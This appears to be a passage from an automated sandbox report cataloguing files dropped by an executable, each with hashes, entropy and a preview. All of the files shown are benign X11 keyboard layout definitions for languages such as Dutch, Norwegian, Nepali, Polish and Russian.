Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "us".. name[Group1]= "English (Nigeria)";. key <AE04> { [ 4, 0x010020A6, dollar, cent ] };. include "level3(ralt_switch)".};..partial alphanumeric_keys.xkb_symbols "yoruba" {. include "ng(basic)".. name[Group1]= "Yoruba";.. key <AD01> { [ 0x01001EB9, 0x01001EB8, q, Q ] };. key <AB02> { [ 0x01001ECD, 0x01001ECC, x, X ] }; . key <AB04> { [ 0x01001E63, 0x01001E62, v, V ] }; .};..partial alphanumeric_keys.xkb_symbols "igbo" {. include "ng(basic)".. name[Group1]= "Igbo";.. key <AD01> { [ 0x01001ECB, 0x01001ECA, q, Q ] };. key <AB02> { [ 0x01001E45, 0x01001E44, x, X ] }; . key <AC10> { [ 0x01001EE5, 0x01001EE4, semicolon,. colon ] };. key <AD11> { [ 0x01001ECD, 0x01001ECC, bracketleft, braceleft ] };.. .};..partial alphanumeric_keys.xkb_symbols "hausa" {. include "ng

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6884
Entropy (8bit):	3.9988848214553356
Encrypted:	false
SSDEEP:	96:xwgM4ZSSvoHXMQwaPD82Id7bAnTKrr6GDo1+YIvt5:xI4ZdvocQwaA2Id4KyGDdYQt5
MD5:	D791D7C217B4ACADCDDC25F198798766
SHA1:	243C4E8A21613FE3870DDC37F26C9A8D2236CAAA
SHA-256:	32F1407DEE1B021C8DA9948EDFEB6B2FEA95FD29E4FD6B7BD3314E988D05F863
SHA-512:	4A7C0CCB4B03E24020F186470B7F8658F48307D95771E8C7BDDFB4663A0BC85A5BE551BFAD2287EA8D70F97CC24D115ED4611E1FCF4BB0E83DFB6527C90CF3A1
Malicious:	false
Preview:	// Basic layout based on converted file, from keytable file to xkb/symbols/ file.// with mk_xkb by root@linux.chanae.stben.be Tue Sep 30 00:53:29 MET DST 1997..// Converted from the nl-latin.map of the Linux kbd package by.// Pablo Saratxaga <srtxg@f2219.n293.z2.fidonet.org>..// Official layout by Benno Schulenberg <bensberg@justemail.net>, January 2007,.// based on http://www.xs4all.nl/~koospol/public/Xmodmap-nl-deadkeys.gz...default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin".. name[Group1]="Dutch";.. key <AE02>.{ [ 2, quotedbl, twosuperior, oneeighth ].};. key <AE06>.{ [ 6, ampersand, threequarters, fiveeighths ].};. key <AE07>.{ [ 7, underscore, sterling, seveneighths ].};. key <AE08>.{ [ 8, parenleft, braceleft, bracketleft ].};. key <AE09>.{ [ 9, parenright, braceright, bracketright ].};. key <AE10>.{ [ 0, apostrophe, degree, trademark ].};. key <AE11>.{ [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\no

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11667
Entropy (8bit):	4.526150787960164
Encrypted:	false
SSDEEP:	192:FrRxaLjw1i+IHd4JV+NtYOqt851TrSGIq8lSL9QkIjF3MNerYY/zV8xI++pgLdae:FrHv1i+IoV+bh+85RrfP8uu3DrYOV8xT
MD5:	E2FBD55D75CE8148B1802E219E16055F
SHA1:	9F4A3E0E44EA531D77679A70BE9BE04E9E33A9DC
SHA-256:	6F4C74641DD52385711C99F46398495DF32227417669F0C7105EE67A74352E6B
SHA-512:	0866BA8E05C5C3EFBD36BBB4A4E7023E02BD32DC2E8D059DC577826788340A169DD3CC29CA95DCB6C654655BEEFB72AF93CD9B3BC3CBFEE8A842585B5772FA30
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/no' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a Norwegian keyboard with dead key support. // and all of ISO-8859-1 characters available... include "latin(type2)".. name[Group1]="Norwegian";.. key <AB09>.{ [ period, colon, ellipsis, periodcentered ].};. key <AB10>.{ [ minus, underscore, endash, emdash ].};. key <AD04>.{ [ r, R, registered, trademark ].};. key <AD10>.{ [ p, P, Greek_pi, Greek_PI ].};. key <AE05>.{ [ 5, percent, onehalf, 0x1002030 ].};.. key <AE11>.{ [ plus, question, plusminus, questiondown ].};. key <AE12>.{ [ backslash, dead_grave, dead_acute, notsign ].};... key <AC10>.{ [ oslash, Ooblique, dead_acute, dead_doubleacute ] };. key <AC11>.{ [ ae, AE, dead_cir

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nokia_vndr\rx-44

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15166
Entropy (8bit):	4.923130702050418
Encrypted:	false
SSDEEP:	384:xByjpr9yoosaolXICpCUjc/RDYyAUdWz9yy6o:xcpFDl4CpJIN0ZyyF
MD5:	B69BCCE9E802316BF57220069F75D32C
SHA1:	B7F8326FE6562E47DC755ABC5CB7BAF59120FA93
SHA-256:	608B189D1C160AF55A55A47046EABF83E69BF63A679B586455B5352CEF0A15F1
SHA-512:	8B33FE4CD736B36E07EF3B75EAA988638CC6F4A9C80CB362420FA0EDDFE8362CAD015D1DD430834F01A41939FB7C06037DD7701D8F41019E83AB451FB31F48E2
Malicious:	false
Preview:	partial alphanumeric_keys.xkb_symbols "us" {. name[Group1] = "U.S. English";. . include "nokia_vndr/rx-44(base)".. key <AC01>.{.[.a,..A,..exclam,..exclam..].};. key <AC02>.{.[.s,..S,..quotedbl,.quotedbl.].};. key <AC03>.{.[.d,..D,..at,..at..].};. key <AC04>.{.[.f,..F,..numbersign,.numbersign.].};. key <AC05>.{.[.g,..G,..backslash,.backslash.].};. key <AC06>.{.[.h,..H,..slash,..slash..].};. key <AC07>.{.[.j,..J,..parenleft,.parenleft.].};. key <AC08>.{.[.k,..K,..parenright,.parenright.].};. key <AC09>.{.[.l,..L,..asterisk,.asterisk.].};. key <AC11> { [ apostrophe, question, question,.question.].};.. key <AB01>.{.[.z,..Z,..yen,..yen..].};. key <AB02>.{.[.x,..X,..asciicircum,.asciicircum.].};. key <AB03>.{.[.c,..C,..asciitilde,.asciitilde.].};. key <AB04>.{.[.v,..V,..percent,.percent..].};. key <AB05>.{.[.b,..B,..ampersand,.ampersand.].};. key <AB06>.{.[.n,..N,..dollar,..dollar..].};. key <AB07>.{.[.m,..M,.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nokia_vndr\rx-51

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	72093
Entropy (8bit):	5.183765318223236
Encrypted:	false
SSDEEP:	1536:CLKy1k9h2zJhYlWDiUMNA5AN/AwAgAHo2AAeAA7AbAnAqAvA+HA6:cF
MD5:	FE5ACA59422FD4883A5230912DA5C03C
SHA1:	00C467CB6CDEB50E46BA657F02C456B33AB55BD2
SHA-256:	96CD8AC7795A8360D6248CE2561C4CD51E6C462A7A73A0F3E6CD8190DCF3D631
SHA-512:	5ED1DFDA427822F25D43136DF1D2942E53868A6CE924480CD6C9C1ACA8F39737D0B68EC0C9A0D823EE42C0BAF39D27D800098E0539CD68BC060C369EAD5547BC
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "common" {. include "nokia_vndr/rx-51(common_keys)". include "nokia_vndr/rx-51(modifiers)"...key <BKSP>.{ [.BackSpace,.Delete,..BackSpace,.Delete..] };... // This section should not be included by any other section.. // It's referenced only once by rule file to allow multiple layout configurations... // More than one layout at the same time could be set for instance as follows:. // setxkbmap -rules evdev \. // -model nokiarx51 \. // -option grp:ctrl_shift_toggle \. // -layout us,cz \. // -variant ",qwerty".. // Notice the similarity:. // "pc+us+cz(qwerty):2+grp:XYZ" vs.. // "nokia_vndr/rx-51(common)+nokia_vndr/rx-51(us)+nokia_vndr/rx-51(cz_qwerty):2+grp:XYZ". // where XYZ is one of xkb_symbols section usually located in file symbols/group... // Bear in mind that option XYZ could replace current keys configuration!!!.. // For instance using symbols/gr

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nokia_vndr\su-8w

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	27917
Entropy (8bit):	3.376130603147049
Encrypted:	false
SSDEEP:	384:A8M+mGO1CRdfnULKEkEG+mGOVCR9JxyCM9j+mGO1CRdJU0acTeE5cuMGd1US83SJ:A8gKEkE1M9WTTe1SRHj
MD5:	45B625B621E573F9405491DF77927383
SHA1:	7E1BBC712381DFB151E8EB180717E2B59A727116
SHA-256:	3429128A0BF431FD04DD4007D0752C74DA11994B8670A05285ECE0CF44EA0E84
SHA-512:	8D651B80B8AF6307B46127F7264174A0DDDA8781029286DEF4F06D6930DF229BF1044986E0B72DAF1F9011D24A6A6FDFF04DB13319087B8F08C4DCA1287CDA29
Malicious:	false
Preview:	partial alphanumeric_keys default.xkb_symbols "no" {. name[Group1]= "Norwegian/Danish";.. include "nokia_vndr/su-8w(base)".. key <AE01> { [ 1, exclam, dead_circumflex ] };. key <AE02> { [ 2, quotedbl, at ] };. key <AE03> { [ 3, numbersign, EuroSign ] };. key <AE04> { [ 4, currency, dollar ] };. key <AE05> { [ 5, percent, sterling ] };. key <AE06> { [ 6, ampersand ] };. key <AE07> { [ 7, slash, braceleft ] };. key <AE08> { [ 8, parenleft, bracketleft ] };. key <AE09> { [ 9, parenright, bracketright ] };. key <AE10> { [ 0, equal,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\np

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6772
Entropy (8bit):	4.4037408367734825
Encrypted:	false
SSDEEP:	192:HwJ1IguIE2tXl/o7ZXwub43CRdaK2ANF9j3zWD:HwJCguIE2tXl/o7ZXp836daK2cF97zWD
MD5:	31EC1782AFCA7F689C4ED7B54BF247BB
SHA1:	43CA7B9033563B651C4958F4FD0BFE129C8E40F2
SHA-256:	75C670026DA3DDAD37C0141A325A6E589DAA77C05881B4C5D78C415DC0D380EB
SHA-512:	2CD9FF9F49FFCC138CF929798A8F4777BE290B0713ED5180631B7CBEECCA380657046061712A214E85F2BF45879CAD5B44E70CAF2C908404CD66E63DBEA5EDA3
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/dev' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Nepali";..// `,1,2,3,4,5,6,7,8,9,0,-,=.. key <TLDE> { [ 0x100093D,0x100093C ].};. key <AE01> { [ 0x1000967. ..].};. key <AE02> { [ 0x1000968...].};. key <AE03> { [ 0x1000969 . ..].};. key <AE04> { [ 0x100096A . ..].};. key <AE05> { [ 0x100096B . ..].};. key <AE06> { [ 0x100096C . ..].};. key <AE07> { [ 0x100096D ].};. key <AE08> { [ 0x100096e . ..].};. key <AE09> { [ 0x100096F. ..].};. key <AE10> { [ 0x1000966,0x1000970..].};. key <AE11> { [ minus, 0x1000952 ..].};. key <AE12> { [ equal, 0x100200C ..].};..// q,w,e,r,t,y,u,i,o,p,[,].. key <AD01> { [ 0x100091F, 0x1000920 .].};. key <AD02> { [ 0x100094C, 0x1000914 .].};. key <AD03> { [ 0x1000947, 0x1000948

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\olpc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.980027562636663
Encrypted:	false
SSDEEP:	24:tWFpL6CqFgY7i/efhpOpUY1IYclERwSw8rBhVmngWKHVx:tWpqFgPe54pUVjJih4n3oVx
MD5:	52F9656CE56B4AC3DDB9BE0B06B96600
SHA1:	44D54B4FE1E438BFCBF816909BD1A0FC68A7AC51
SHA-256:	5DD585565E873ED7EA2D264E186AB6C90BDA7528A9DE05180EFD8A21CA8F0151
SHA-512:	C1FD8F362CEB27AFE0B6963C9848842370A6BD13E1EF015A26C5B84BE7364E78159ABD67A980A94922F169A305E40EF93C430C52A9D9E98EE2B43D264991745A
Malicious:	false
Preview:	//.// Created by Bernardo Innocenti <bernie@codewiz.org>.//.// Additional symbol definitions for the OLPC keyboards.//..alphanumeric_keys modifier_keys.xkb_symbols "olpc" {. include "pc(pc105)".. modifier_map Mod1 { KP_Home }; // KP_Home is the "square" game key. modifier_map Mod3 { KP_End }; // KP_End is the "tick" game key. modifier_map Mod4 { KP_Prior }; // KP_Prior is the "O" game key. modifier_map Mod5 { KP_Next }; // KP_Next is the "X" game key.. key <I220> { [ XF86Search ] }; // search key (unpopulated on olpcm, harmless). key <I221> { [ XF86Meeting ] }; // fn+search key (unpopulated on olpcm, harmless). key <I236> { [ XF86Start ] }; // gear key (fn+space). key <I147> { [ XF86TaskPane ] }; // frame key (the top-right key) (unpopulated on olpcm, harmless). key <I224> { [ XF86Messenger ] }; // overlay key (next to frame key) (unpopulated on olpcm, harmless).};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\pc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3610
Entropy (8bit):	5.087756347596275
Encrypted:	false
SSDEEP:	48:IKE2dEIQOHCJ2vvBmCSxtznzG4+CAWuGO8914C5:xPTXc3ZyE75
MD5:	1A329359571BB5E738E92797BC0E29C6
SHA1:	64E161A00A98F115F688994B6D520AB2F0F713F5
SHA-256:	BD6FF9BCC42E7052DC9D88FB403622F90EFBF7A0F4E0E7E51683265EAD6222BA
SHA-512:	720EE1FEC58CE681FDEE78279DFAB0638EFBBBDE84F30B2AB9835D1421622DEAFF75D9DFA72FA8CA8091FF9A96811D7542F4D24246A6F8393A9D228957412B4F
Malicious:	false
Preview:	// $XKeyboardConfig$..//.// $XFree86: xc/programs/xkbcomp/symbols/pc,v 1.9 2003/06/09 19:59:46 dawes Exp $..default partial alphanumeric_keys modifier_keys .xkb_symbols "pc105" {.. key <ESC> {.[ Escape...].};.. // the extra key on most European keyboards. key <LSGT> {.[ less, greater, bar, brokenbar ].};.. // these keys are common to all layouts. key <BKSL> {.[ backslash,.bar..].};. key <SPCE> {.[ . space...].};.. include "pc(function)". include "pc(editing)". include "keypad(x11)".. key <BKSP> {.[ BackSpace, BackSpace.].};.. key <TAB> {.[ Tab,.ISO_Left_Tab.].};. key <RTRN> {.[ Return.].};.. key <CAPS> {.[ Caps_Lock.].};..// key <NMLK> {.[ Num_Lock, Pointer_EnableKeys..].};.. key <LFSH> {.[ Shift_L.].};. key <LCTL> {.[ Control_L.].};.. key <LWIN> {.[ Super_L...].};. modifier_map Mod4 { <LWIN> };.. key <RTSH> {.[ Shift_R.].};. key <RCTL> {.[ Control_R.].};.. key <RWIN> {.[ Super_R...].};. modifier_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ph

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	76133
Entropy (8bit):	5.230509906587671
Encrypted:	false
SSDEEP:	768:5dw6ebPiCXxcn26HvKNrkMItLdBHV27n92i:jbytB+P9pR1cN
MD5:	B58E0747CC14F7437CDDD69E63F353AC
SHA1:	6A67DE972EE34B01F32C1814AE1A59854BC58EE9
SHA-256:	6E5921ACFB8089788DB4E5C15B46900C95E7BB77735FD35BFE70B9544C75738E
SHA-512:	A9F6DDF0F720A2716E3287652230A79E3B797A3153A42BD7FD3661133F4FB2D55787A9A55ADB317635144F8B18E7FC3242838AB2445ABC67BDA19F1C2FEA96DC
Malicious:	false
Preview:	////////////////////////////////////////////////////////////////////////////////.// Philippines National Keyboard Layout v1.0.0 (2010-10-23) //.// http://laibcoms.com/sandbox/the-philippines-national-keyboard-layout //.// //.// License: GNU/GPLv3 //.// //.// Loosely based on ISO/IEC 9995-3:2009 //.//.* glyphs that are not used in Philippine Languages and //.//..Philippine English were not included //.//.* Additions/Changes that are not part of ISO/IEC 9995-3:2009 //.//..were added //.// //.// http://en.wikipedia.org/wiki/ISO/IEC_9995

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\pk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20664
Entropy (8bit):	3.671578464803729
Encrypted:	false
SSDEEP:	384:BWvQBfpq24Uxk2QyAq6e4Gid0MpUOdr65z15K6evDQVqZY6FCtoIu:5b9mCJyp
MD5:	3B688461D5BD841957409D1BA02A25B5
SHA1:	C9E4F743BC3A99CE4E32511059E4A1FA4C35A605
SHA-256:	25A7E07E536DBF0362598B1EF50E912E2AB93E98ADE699763E35A790965B672E
SHA-512:	804857FE2F54D1C7200EEEFA65964C9800D79813569A1DAD5640F2593CD0714A00D52E0AB6B4396262162A47814B37FB8B59D33D9B64023164AF67838B428CDB
Malicious:	false
Preview:	// Urdu keymap.// Developed by:.// Zaeem Arshad <zaeem@linux.net.pk>.// Last update: 2004-03-12.// Notice:.// Alt-key combinations are yet to be put in. The unavailable keys are.// those which do not have a corresponding glyph in Unicode...default partial alphanumeric_keys.xkb_symbols "urd-phonetic" {.. name[Group1]= "Urdu (Pakistan)";.. key <TLDE> { [ 0x100064b , 0x100007E, 0x100200C ] };. key <AE01> { [ 0x1000031 , 0x1000021 ] };. key <AE02> { [ 0x1000032 , 0x1000040 ] };. key <AE03> { [ 0x1000033 , 0x1000023 ] };. key <AE04> { [ 0x1000034 , 0x1000024 ] };. key <AE05> { [ 0x1000035 , 0x1000025 ] };. key <AE06> { [ 0x1000036 , 0x100005E ] };. key <AE07> { [ 0x1000037 , 0x1000026 ] };. key <AE08> { [ 0x1000038 , 0x100002A ] };. key <AE09> { [ 0x1000039 , 0x1000029

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\pl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	23448
Entropy (8bit):	4.818985915263885
Encrypted:	false
SSDEEP:	384:p1h87jGY7EhuXNUIyWxKhCvL0mKszsWUny8z6Ga+J8mhTVKBIvD5yk:pP87j5Ea6VEgqjLEy8OIJdVKKD59
MD5:	FFE47FE50ABA9C441D44AC3C97BBA4C7
SHA1:	6FF9AFD06129017B0A1D693444C5E8291F2B3577
SHA-256:	9C0AE89131A3F80FC529D7F8DD09D5EE5ED1FD04A2BDEAE851B153276F415D30
SHA-512:	E0FF771EABC38338947AADEA171DCF10428C998B20CE8523EFDBB405249A587154C80DBF07DE2D34752F5383067FBC7C271753B7DE56D069AABED7ED4CB57492
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/pl' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. // Visualisation and description: http://podziemie.net/xkb/pl. // Contact: Micha. G.rny <zrchos+freedesktop@gmail.com>.. include "latin".. name[Group1]="Polish";.. key <AE01>.{ [ 1, exclam, notequal, exclamdown ].};. key <AE02>.{ [ 2, at, twosuperior, questiondown ].};. key <AE04>.{ [ 4, dollar, cent, onequarter ].};. key <AE05>.{ [ 5, percent, EuroSign, U2030 ].};. key <AE06>.{ [ 6, asciicircum, onehalf, logicaland ].};. key <AE07>.{ [ 7, ampersand, section, U2248 ].};. key <AE08>.{ [ 8, asterisk, periodcentered, threequarters ] };. key <AE09>.{ [ 9, parenleft, guillemotleft, plusminus ].};. key <AE10>.{ [ 0, parenright, guillemotright, degree ].};. key <AE11>.{ [ minus, undersc

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\pt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10199
Entropy (8bit):	4.297797674430531
Encrypted:	false
SSDEEP:	192:schfAtKL3QPOm8xUbLu2FSXr1RLuX+f+ytru7UzXfIfVESROKe3q:sSAG3QGm86bK2EX7uX+fVru7YfIfCSRr
MD5:	1317CDE98845BEE3B347CDBA102857C1
SHA1:	DDF5C30A005AD3E5A56BB50004983A994377E154
SHA-256:	7E43003045B67E97AF48BC293F8A7F247CBDDB3B6E65CFCF10FCEC28D368D8A0
SHA-512:	A73389F7459FCFCBA0CE7EFF41D76E5836EC1B6072B893DF11A9F252F18A8B13EF527F0243A256C8C9EDC677526692453E5397D3C02322FEE03C57B7A266A62A
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/pt' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="Portuguese";.. key <LSGT> { [ less, greater, backslash, backslash ] };. key <AE03>.{ [ 3, numbersign, sterling, sterling ].};. key <AE04>.{ [ 4, dollar, section, dollar ].};. key <AE11>.{ [apostrophe, question, backslash, questiondown ].};. key <AE12>.{ [guillemotleft, guillemotright, dead_cedilla, dead_ogonek ] };.. key <AD11>.{ [ plus, asterisk, dead_diaeresis, dead_abovering ] };. key <AD12>.{ [dead_acute, dead_grave, dead_tilde, dead_macron ].};.. key <AC10>.{ [ ccedilla, Ccedilla, dead_acute, dead_doubleacute ] };. key <AC11>.{ [ masculine, ordfeminine, dead_circumflex, dead_caron ] };. key <TLDE>.{ [ backslash, bar, notsign, notsign ].};.. key <BKSL>.{ [dead_tilde, dead_circumflex, dead_grave, dea

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ro

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11245
Entropy (8bit):	4.369660209797667
Encrypted:	false
SSDEEP:	192:HkxkvvBDJDuXiJgDtP27DJJDwzhqyv6eCH7dtJUPzzv0mm2fF3BB:VvBDBuXiJgDB27DbDwzhqyv6eStJUbzT
MD5:	96C586A3677870AFC84EC02479395BE5
SHA1:	74F0374479E7866275D9D5889192D42CEF03D72F
SHA-256:	70849CF126C8303F9DC3B7C5C77145ECF5DED3201DBC2B5038606B9943E3C04C
SHA-512:	D4A1A2D0166AF4B67DB83711C5042E9F20FD924C3BCD0B57E3987E2A3D1954F424EC5C12CE079069FB025E8ADEBC017F68D4000F7AA2CB45EAB7EAD0ED897268
Malicious:	false
Preview:	//.// Complete set of Romanian keyboards as described in the new Romanian standard.// SR 13392:2004 adopted in December 2004 by ASRO, "Asociatia de Standardizare .// din Romania"..// .// The default mapping is the RO_US/Programmers layout because of the lack of .// Romanian hardware keyboards. The primary standard layout is implemented as .// the "std" variant. If you're determined to get cedillas as in ISO-8859-2 .// (and not commabelow accents as in ISO-8859-16) use the defined variants .// "cedilla" for the default layout or "std_cedilla" for the standard one. .// Pre-Vista MS compatible layout included (use the "winkeys" variant)..// .// Created by Cristian Gafton, <gafton@redhat.com> (C) 2000.// Modified by Marius Andreiana, <mandreiana@yahoo.com> (C) 2001.// Completed by Misu Moldovan, <dumol@gnome.ro> (C) 2001, 2004-2008..// v 1.4...default partial alphanumeric_keys.xkb_symbols "basic" {.// This RO_US/Programmers layout, although the secondary layout in the .// Romanian standa

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\rs

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	16351
Entropy (8bit):	4.556125093833104
Encrypted:	false
SSDEEP:	192:+qudHAUp8aSds/CwWufWOu7llFE9cTpg34yD2NlPmPwEv4LZq:oH78aSd/wWu1uRlFE9cTpd+2NlPu4LZq
MD5:	ADA50C834A5BD5BB0118C0E22DB0D292
SHA1:	F5CBB74E0137CF40DCB6B24D879BEB9910C56D1D
SHA-256:	FE7D0AB188BA618561777FB8559F24F33956B5FE7700B592067C3919FD1EF5B8
SHA-512:	BF97044A65ED72422251CB272BC78EDDDC46B1C4A93E46A377B3D0DBEEFD8E3396D0F8F6A23E629C961497EAC9FA4001EC09D6EABDA9D5C53D3D681C10DFDB4A
Malicious:	false
Preview:	// Bosnian, Croatian, Serbian and Slovenian XKB keyboard mapping.// (derived from "Danube" D.2).//.// Danube D.2 from 2003-05-12 is available at http://srpski.org/dunav/.//.// Original authors:.// Danilo Segan (...... .....) <danilo@kvota.net>.// Chusslove Illich (...... ....) <caslav.ilic@gmx.net>.//.// Danilo Segan <danilo@kvota.net>:.// - Modified for inclusion in XFree86.// - Further modifications on 2005-08-18 to support Bosnian, Croatian.// and Slovenian in xkeyboard-config.// ..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Serbian";.. include "rs(cyrlevel3)". include "rs(common)". include "rs(cyralpha)". include "level3(ralt_switch)".};...partial alphanumeric_keys.xkb_symbols "latin" {.. name[Group1]= "Serbian (Latin)";.. include "latin(type3)". include "rs(latalpha)". include "rs(latlevel3)". include "rs(common)". include "level3(ralt_switch)".};...partial alphanumeric_keys.xkb_symbols "yz" {. // Cyrillic_zhe and

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ru

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	31372
Entropy (8bit):	4.976773451361455
Encrypted:	false
SSDEEP:	768:SPvd64qXdmbvB/MtNQaohrEtO2z23GVIi7aKjNKx5Hug:SP164qXMbvB/MtNQao602z23GVH7aKZu
MD5:	8324F0A4047F15BB11607CF96D686323
SHA1:	7668F8EEF00D4A65FF436FD23D45CF1FB5311533
SHA-256:	D3420BD263A271A18C0F0E911E84B21AF22408E7A84189DBA3119EAF986B51F9
SHA-512:	FA603E2A129613B0FD2859D41C0370C870EE4254596A0EB4A4549A5962A5EC5413E309EAB24CE519D6F71622D4AA1A4C957922641C3781817F90BA2536413C34
Malicious:	false
Preview:	// based on.// russian standard keyboard.// AEN <aen@logic.ru>.// 2001/12/23 by Leon Kanter <leon@blackcatlinux.com>.// 2005/12/09 Valery Inozemtsev <shrek@altlinux.ru>..// Windows layout.default partial alphanumeric_keys.xkb_symbols "winkeys" {. include "ru(common)".. name[Group1]= "Russian";.. key <AE03> { [ 3, numerosign ] };. key <AE04> { [ 4, semicolon ] };. key <AE05> { [ 5, percent ] };. key <AE06> { [ 6, colon ] };. key <AE07> { [ 7, question ] };. key <AE08> { [ 8, asterisk ] };.. key <AB10> { [ period, comma ] };. key <BKSL> { [ backslash, slash ] };.};..partial hidden alphanumeric_keys .xkb_symbols "common" {.. key.<AE01> {.[..1,. exclam

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\rupeesign

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	131
Entropy (8bit):	4.894739569295598
Encrypted:	false
SSDEEP:	3:RFvcqEwSUWAxkgTfXU69aSvNQMchFFRt8FFKXN0OevDn:jvcJUW8TfT93vKM8UiXNa
MD5:	F9E82F92E9698EFEB04BE8309AF71FC0
SHA1:	5A1474EF1DBBD9922C28E9C1963084875DB599D8
SHA-256:	24DDE1D4FCA8228394270B3B2CF71AB029466F8353A0345F8129AD4E56C59C93
SHA-512:	3D7638B9D30E3CFF26EF0576350321EF504FA5FA6E76F4327BCD280C2481BD10FAE105787B1596E494B2301EC839A411E22C4D702664FECDA537681CB4CE8F57
Malicious:	false
Preview:	// keyboards having the RupeeSign on the 4 key.partial.xkb_symbols "4" {. key <AE04>.{ [ NoSymbol, NoSymbol, U20B9 ].};.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\se

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	12685
Entropy (8bit):	4.856856461761163
Encrypted:	false
SSDEEP:	384:eA8EfmZ/aRmUhgtSmYxrYNLdNtEvhHuUo+t0uNl9Qaq3D2bfEG:eREvgA/xrYNxQvFuU8Szz
MD5:	A0432E5FD4425CC3A2DD12E1F770CC97
SHA1:	4FCCC9726CE29EB1A0232B864FDF71F18B0CA68F
SHA-256:	832ED5657D558442204A7F958FE1F827429C946BA69705C28A35EDDC00C458AC
SHA-512:	55BB8F7C4DB7A605BB8E761F7B275417A8B142B3F2EE3F9020AFB9F10EE87CD49A34F611834DB094FBA5B84ABF74E31DD867F6B2EE59313029221E0E27C6FD4E
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/se' file..default partial alphanumeric_keys.xkb_symbols "basic" {. include "latin(type2)". include "se(se)".};..partial alphanumeric_keys.xkb_symbols "se" {.. name[Group1]="Swedish";.. key <AE05>.{ [ 5, percent, EuroSign, cent ].};. key <AE11>.{ [ plus, question, backslash, questiondown ].};. key <AE12>.{ [dead_acute, dead_grave, plusminus, notsign ].};... key <AC10>.{ [odiaeresis, Odiaeresis, oslash, Ooblique ].};. key <AC11>.{ [adiaeresis, Adiaeresis, ae, AE ].};. key <TLDE>.{ [ section, onehalf, paragraph, threequarters].};.. key <BKSL>.{ [apostrophe, asterisk, acute, multiply ].};.. key <SPCE>.{ [ space, space, space, nobreakspace ].};.. key <LSGT> { [ less, greater, bar, brokenbar ] };. include "kpdl(comma)".. include "level3(ralt_switch)".};..partial alphanumeric_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sgi_vndr\jp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2090
Entropy (8bit):	3.7799253442704037
Encrypted:	false
